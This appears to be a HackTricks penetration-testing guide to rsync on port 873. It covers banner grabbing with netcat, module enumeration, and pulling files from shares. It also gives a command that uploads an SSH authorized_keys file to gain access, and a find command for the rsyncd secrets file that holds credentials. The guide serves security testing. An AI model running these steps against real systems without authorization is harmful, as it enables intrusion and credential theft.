hacktricks/network-services-pentesting/873-pentesting-rsync.md

# 873 - Pentesting Rsync

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## **Basic Information**

From [wikipedia](https://en.wikipedia.org/wiki/Rsync):

> **rsync** is a utility for efficiently [transferring](https://en.wikipedia.org/wiki/File\_transfer) and [synchronizing](https://en.wikipedia.org/wiki/File\_synchronization) [files](https://en.wikipedia.org/wiki/Computer\_file) between a computer and an external hard drive and across [networked](https://en.wikipedia.org/wiki/Computer\_network) [computers](https://en.wikipedia.org/wiki/Computer) by comparing the [modification times](https://en.wikipedia.org/wiki/Timestamping\_\(computing\))and sizes of files.[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) It is commonly found on [Unix-like](https://en.wikipedia.org/wiki/Unix-like) [operating systems](https://en.wikipedia.org/wiki/Operating\_system). The rsync algorithm is a type of [delta encoding](https://en.wikipedia.org/wiki/Delta\_encoding), and is used for minimizing network usage. [Zlib](https://en.wikipedia.org/wiki/Zlib) may be used for additional [data compression](https://en.wikipedia.org/wiki/Data\_compression),[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) and [SSH](https://en.wikipedia.org/wiki/Secure\_Shell) or [stunnel](https://en.wikipedia.org/wiki/Stunnel) can be used for security.

**Default port:** 873

```
PORT    STATE SERVICE REASON
873/tcp open  rsync   syn-ack
```

## Enumeration

### Banner & Manual communication

```bash
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0        <--- You receive this banner with the version from the server
@RSYNCD: 31.0        <--- Then you send the same info
#list                <--- Then you ask the sever to list
raidroot             <--- The server starts enumerating
USBCopy        	
NAS_Public     	
_NAS_Recycle_TOSRAID	<--- Enumeration finished
@RSYNCD: EXIT         <--- Sever closes the connection


#Now lets try to enumerate "raidroot"
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g    <--- This means you need the password
```

### **Enumerating Shared Folders**

**Rsync modules** are recognized as **directory shares** that might be **protected with passwords**. To identify available modules and check if they require passwords, the following commands are used:

```bash
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list

# Example with IPv6 and alternate port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
```

Be aware that some shares might not appear in the list, possibly hiding them. Additionally, accessing some shares might be restricted to specific **credentials**, indicated by an **"Access Denied"** message.

### [**Brute Force**](../generic-methodologies-and-resources/brute-force.md#rsync)

### Manual Rsync Usage

Upon obtaining a **module list**, actions depend on whether authentication is needed. Without authentication, **listing** and **copying** files from a shared folder to a local directory is achieved through:

```bash
# Listing a shared folder
rsync -av --list-only rsync://192.168.0.123/shared_name

# Copying files from a shared folder
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
```

This process **recursively transfers files**, preserving their attributes and permissions.

With **credentials**, listing and downloading from a shared folder can be done as follows, where a password prompt will appear:

```bash
rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared
```

To **upload content**, such as an _**authorized_keys**_ file for access, use:

```bash
rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh
```

## POST

To locate the rsyncd configuration file, execute:

```bash
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
```

Within this file, a _secrets file_ parameter might point to a file containing **usernames and passwords** for rsyncd authentication.


## References
* [https://www.smeegesec.com/2016/12/pentesting-rsync.html](https://www.smeegesec.com/2016/12/pentesting-rsync.html)

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